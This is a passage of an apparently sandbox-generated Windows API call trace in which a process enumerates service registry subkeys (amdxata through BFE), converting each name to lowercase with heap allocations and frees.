(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0213.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0213.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1850, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0213.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0213.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0213.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0213.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0213.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0213.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0213.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0213.072] 